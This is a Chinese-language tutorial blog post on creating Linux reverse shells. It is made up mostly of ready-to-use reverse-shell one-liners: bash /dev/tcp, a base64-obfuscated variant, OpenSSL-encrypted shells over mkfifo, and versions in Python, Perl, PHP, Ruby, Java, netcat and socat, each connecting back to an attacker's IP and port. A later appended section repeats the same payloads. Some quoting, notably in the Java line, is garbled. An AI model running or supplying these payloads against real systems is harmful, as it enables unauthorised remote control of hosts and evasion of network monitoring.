Linux反弹shell学习

本文详细介绍了Linux系统中如何通过bash命令创建反弹shell,以及利用python等其他工具获取交互式shell的方法。同时,还讨论了如何加密shell流量以增强安全性,并列举了多种不同编程语言实现反弹shell的示例。

前言

当我们可以在远程Linux主机上执行任意命令或写入任意的数据到任意的文件的时候
通常会通过反弹一个shell 来控制远程主机

bash 反弹shell

Linux反弹shell使用这条命令,但反弹回来的shell是不可交互的
bash -i >& /dev/tcp/10.10.10.134/2333 0>&1
也可以{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjI3LzQ0NDQgMD4mMSA=}|{base64,-d}|{bash,-i}

客户端用netcat 进行接收
nc -lvvp 2333 监听2333端口
在这里插入图片描述

使用什么样的用户反弹的shell,就是当前用户的权限(只有拥有/bin/bash 的用户才能够使用该命令)

命令原理

首先 bash -i 是打开一个交互式的bash终端
/dev/tcp/ 是linux的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

那么>&0>&1 又是什么意思呢?

首先我们了解一下Linux文件描述符和重定向。
linux shell下常用的文件描述符是:
标准输入 (stdin) :代码为 0 ,使用 < 或 <<
标准输出 (stdout):代码为 1 ,使用 > 或 >>
标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>

然后发现 >&&> 两者一个意思,都是将标准错误输出合并到标准输出中。

如果我们执行一个命令,比如 ls -lh > test ,这样的话,test文件中只会保存我们执行这个命令正常的输出结果
而如果我们执行命令 ls -lh >& test 或者 ls -lh &> test ,这样的话,test文件中既会保存我们执行这个命令正常的结果,也会保存我们执行这个命令出错了的结果。

所以,当我们执行命令:bash -i >& /dev/tcp/10.10.10.134/2333 时,他会与10.10.10.134/2333号端口建立一个socket连接,把bash的标准输出和标准错误输出发给10.10.10.134/2333。也就是获得了他的shell,但是10.10.10.134却不能进行操作。

同理0>&10<&1 也是一个意思,都是将标准输入重定向到标准输出中。所以加入 0>&1 的话,就可以接受用户的输入了。

所以,结合上面的:bash -i >& /dev/tcp/10.10.10.134/2333 0>&1 命令是意思是:与10.10.10.134/2333端口建立一个socket连接,把bash的标准输出和标准错误输出发给10.10.10.134/2333。并且可以接受输入,也就是可以进行交互式操作

但是更多时候获得的shell并不是一个具有完整的交互shell

如果目标的主机有python环境,我们在获得反弹shell后,可以执行这个命令得到一个正常可交互的shell
python -c 'import pty;pty.spawn("/bin/bash")'
在这里插入图片描述

加密bash反弹shell

在攻击机上生成SSL证书的公钥私钥对,一路回车
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
在这里插入图片描述

然后用openssl监听反弹shell
openssl s_server -quiet -key key.pem -cert cert.pem -port 2333

目标机用openssl加密反弹shell的流量
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.10.136:4444 > /tmp/s;rm /tmp/s
在这里插入图片描述

其他反弹shell

同样是只有拥有/bin/bash的用户才能使用,使用什么样的用户反弹什么权限

Python
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.10.25”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);’

Perl
perl -e ‘use Socket;$i=“192.168.10.13”;$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’

PHP
php -r ‘$sock=fsockopen(“192.168.10.13”,8888);exec("/bin/sh -i <&3>&3 2>&3");’

Ruby
ruby -rsocket -e’f=TCPSocket.open(“192.168.10.13”,8888).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)’

Java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c",“exec 5<>/dev/tcp/192.168.10.13/8888;cat <&5 2=”" |="" while="" read="" line;="" do="" $line="">&5 >&5; done"] as String[]) p.waitFor()

### 实现反弹Shell的多种方法 在Linux系统中,可以从目标主机发起反弹Shell连接到另一台Linux设备。以下是几种常见的实现方式: #### 1. 使用 `bash` 发起反弹Shell 通过 `bash` 的 `/dev/tcp` 功能可以轻松实现反弹Shell。命令如下: ```bash bash -i >& /dev/tcp/目标IP/端口 0>&1 ``` 例如,如果目标Linux主机的IP地址为 `192.168.1.100`,端口为 `4444`,则命令为: ```bash bash -i >& /dev/tcp/192.168.1.100/4444 0>&1 ``` 这会将当前主机的Shell反弹到目标Linux主机上[^2]。 #### 2. 使用 `nc`(Netcat)实现反弹Shell `nc` 是一种强大的网络工具,可以通过它实现反弹Shell。目标主机需要监听指定端口。命令如下: ```bash nc -e /bin/bash 目标IP 端口 ``` 例如: ```bash nc -e /bin/bash 192.168.1.100 4444 ``` 需要注意的是,某些系统可能禁用了 `-e` 参数,此时可以使用以下替代方案: ```bash rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash 2>&1 | nc 目标IP 端口 > /tmp/f ``` 例如: ```bash rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash 2>&1 | nc 192.168.1.100 4444 > /tmp/f ``` 这种方式适用于无法直接使用 `-e` 参数的情况[^5]。 #### 3. 使用 `perl` 脚本实现反弹Shell Perl 脚本也可以用于实现反弹Shell。示例代码如下: ```perl use Socket; $IP = "目标IP"; $PORT = 端口; socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname("tcp")); connect(SOCKET, sockaddr_in($PORT, inet_aton($IP))); open(STDIN, ">&SOCKET"); open(STDOUT, ">&SOCKET"); open(STDERR, ">&SOCKET"); exec("/bin/bash") or exec("/bin/sh"); ``` 例如,如果目标IP为 `192.168.1.100`,端口为 `4444`,则脚本中的 `$IP` 和 `$PORT` 需要相应设置[^1]。 #### 4. 使用 `python` 实现反弹Shell Python 提供了简洁的反弹Shell实现方式。示例代码如下: ```python import socket, subprocess, os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("目标IP", 端口)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) subprocess.call(["/bin/bash", "-i"]) ``` 例如,如果目标IP为 `192.168.1.100`,端口为 `4444`,则需要替换 `"目标IP"` 和 `端口` 的值[^3]。 #### 5. 使用 `socat` 实现反弹Shell `socat` 是一种功能强大的双向通信工具,可以用来实现反弹Shell。命令如下: ```bash socat exec:"bash -li",pty,stderr,setsid,sigint,sane tcp:目标IP:端口 ``` 例如: ```bash socat exec:"bash -li",pty,stderr,setsid,sigint,sane tcp:192.168.1.100:4444 ``` 这种方式适用于支持 `socat` 的环境[^3]。 #### 6. 使用 `exec` 和重定向实现反弹Shell 通过文件描述符和重定向,可以实现更复杂的反弹Shell。示例命令如下: ```bash exec 5<>/dev/tcp/目标IP/端口; cat <&5 | while read line; do $line 2>&5 >&5; done ``` 例如: ```bash exec 5<>/dev/tcp/192.168.1.100/4444; cat <&5 | while read line; do $line 2>&5 >&5; done ``` 这种方式适用于受限环境中[^4]。 ### 注意事项 - 在目标Linux主机上需要确保目标端口已开启监听。例如,使用以下命令监听端口: ```bash nc -nvlp 端口 ``` - 确保目标主机和攻击机之间的网络是连通的。 - 不同的Linux发行版可能对某些工具的支持程度不同,请根据实际情况选择合适的工具。
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值